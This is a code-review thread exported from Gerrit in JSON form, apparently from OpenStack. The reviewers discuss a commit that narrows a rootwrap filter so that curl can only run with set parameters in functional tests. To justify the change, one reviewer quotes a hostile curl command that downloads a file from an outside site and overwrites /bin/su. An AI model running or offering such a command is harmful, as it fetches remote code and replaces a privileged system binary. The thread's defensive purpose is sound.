)]}'
{"/COMMIT_MSG":[{"author":{"_account_id":8124,"name":"cbrandily","email":"zzelle@gmail.com","username":"cbrandily"},"change_message_id":"6822c9f63f75635feb69de6f0ef30df20248dde9","unresolved":false,"context_lines":[{"line_number":7,"context_line":"Fixed filters for functional tests"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Removed filter for unused tee utility."},{"line_number":10,"context_line":"CommandFilter for curl replaced with more stricted RegExpFilter"},{"line_number":11,"context_line":"and now allow run curl only with specified parameters."},{"line_number":12,"context_line":""},{"line_number":13,"context_line":"Change-Id: I5d151a63f85cb969f79d4d92f5422e8e88855be5"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":2,"id":"da20952f_012a17db","line":10,"updated":"2015-08-31 21:33:16.000000000","message":"What is the added value to restrict curl path?","commit_id":"ed392dc5354131b377ebf6aea518fb8e2ca7f893"},{"author":{"_account_id":14615,"name":"Sergey Belous","email":"belous.py@gmail.com","username":"sbelous"},"change_message_id":"33f91180bef6c20a4d4c135d702261b65c5b9b33","unresolved":false,"context_lines":[{"line_number":7,"context_line":"Fixed filters for functional tests"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Removed filter for unused tee utility."},{"line_number":10,"context_line":"CommandFilter for curl replaced with more stricted RegExpFilter"},{"line_number":11,"context_line":"and now allow run curl only with specified parameters."},{"line_number":12,"context_line":""},{"line_number":13,"context_line":"Change-Id: I5d151a63f85cb969f79d4d92f5422e8e88855be5"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":2,"id":"da20952f_80484fb4","line":10,"in_reply_to":"da20952f_012a17db","updated":"2015-09-01 08:14:55.000000000","message":"Cedric, using curl with CommandFilter allows to replace system files, for example:\n\n    curl -o /bin/su http://mycoolsite.in/my-virus-needs-suid \n\nit so dangerous. RegExpFilter restricts the ability to run a curl with any arbitrary parameters.","commit_id":"ed392dc5354131b377ebf6aea518fb8e2ca7f893"},{"author":{"_account_id":8124,"name":"cbrandily","email":"zzelle@gmail.com","username":"cbrandily"},"change_message_id":"c58131e8aac424fcc6b967a72a1ff877538e25f5","unresolved":false,"context_lines":[{"line_number":7,"context_line":"Fixed filters for functional tests"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Removed filter for unused tee utility."},{"line_number":10,"context_line":"CommandFilter for curl replaced with more stricted RegExpFilter"},{"line_number":11,"context_line":"and now allow run curl only with specified parameters."},{"line_number":12,"context_line":""},{"line_number":13,"context_line":"Change-Id: I5d151a63f85cb969f79d4d92f5422e8e88855be5"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":2,"id":"da20952f_fe60cba6","line":10,"in_reply_to":"da20952f_80484fb4","updated":"2015-09-01 09:03:42.000000000","message":"Dangerous? These filters are enabled during functional tests not in production","commit_id":"ed392dc5354131b377ebf6aea518fb8e2ca7f893"},{"author":{"_account_id":7715,"name":"Hirofumi Ichihara","email":"ichihara.hirofumi@gmail.com","username":"Hirofumi-Ichihara"},"change_message_id":"cc51ccfd3926ed5f5fbac35f4a234f97f0fe1a4d","unresolved":false,"context_lines":[{"line_number":7,"context_line":"Fixed filters for functional tests"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Removed filter for unused tee utility."},{"line_number":10,"context_line":"CommandFilter for curl replaced with more stricted RegExpFilter"},{"line_number":11,"context_line":"and now allow run curl only with specified parameters."},{"line_number":12,"context_line":""},{"line_number":13,"context_line":"Change-Id: I5d151a63f85cb969f79d4d92f5422e8e88855be5"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":2,"id":"da20952f_ef96d3ee","line":10,"in_reply_to":"da20952f_9e5c2f4c","updated":"2015-09-07 23:24:36.000000000","message":"anyway, more stricted -\u003e stricter or more restricted","commit_id":"ed392dc5354131b377ebf6aea518fb8e2ca7f893"},{"author":{"_account_id":11343,"name":"Gal Sagie","email":"gal.sagie@gmail.com","username":"GalSagie"},"change_message_id":"9308ee320ff5690d909f307f617a895f50783e63","unresolved":false,"context_lines":[{"line_number":7,"context_line":"Fixed filters for functional tests"},{"line_number":8,"context_line":""},{"line_number":9,"context_line":"Removed filter for unused tee utility."},{"line_number":10,"context_line":"CommandFilter for curl replaced with more stricted RegExpFilter"},{"line_number":11,"context_line":"and now allow run curl only with specified parameters."},{"line_number":12,"context_line":""},{"line_number":13,"context_line":"Change-Id: I5d151a63f85cb969f79d4d92f5422e8e88855be5"}],"source_content_type":"text/x-gerrit-commit-message","patch_set":2,"id":"da20952f_9e5c2f4c","line":10,"in_reply_to":"da20952f_fe60cba6","updated":"2015-09-01 09:19:01.000000000","message":"Many people still run it in their development environments, i think its still important if we can make things safer","commit_id":"ed392dc5354131b377ebf6aea518fb8e2ca7f893"}]}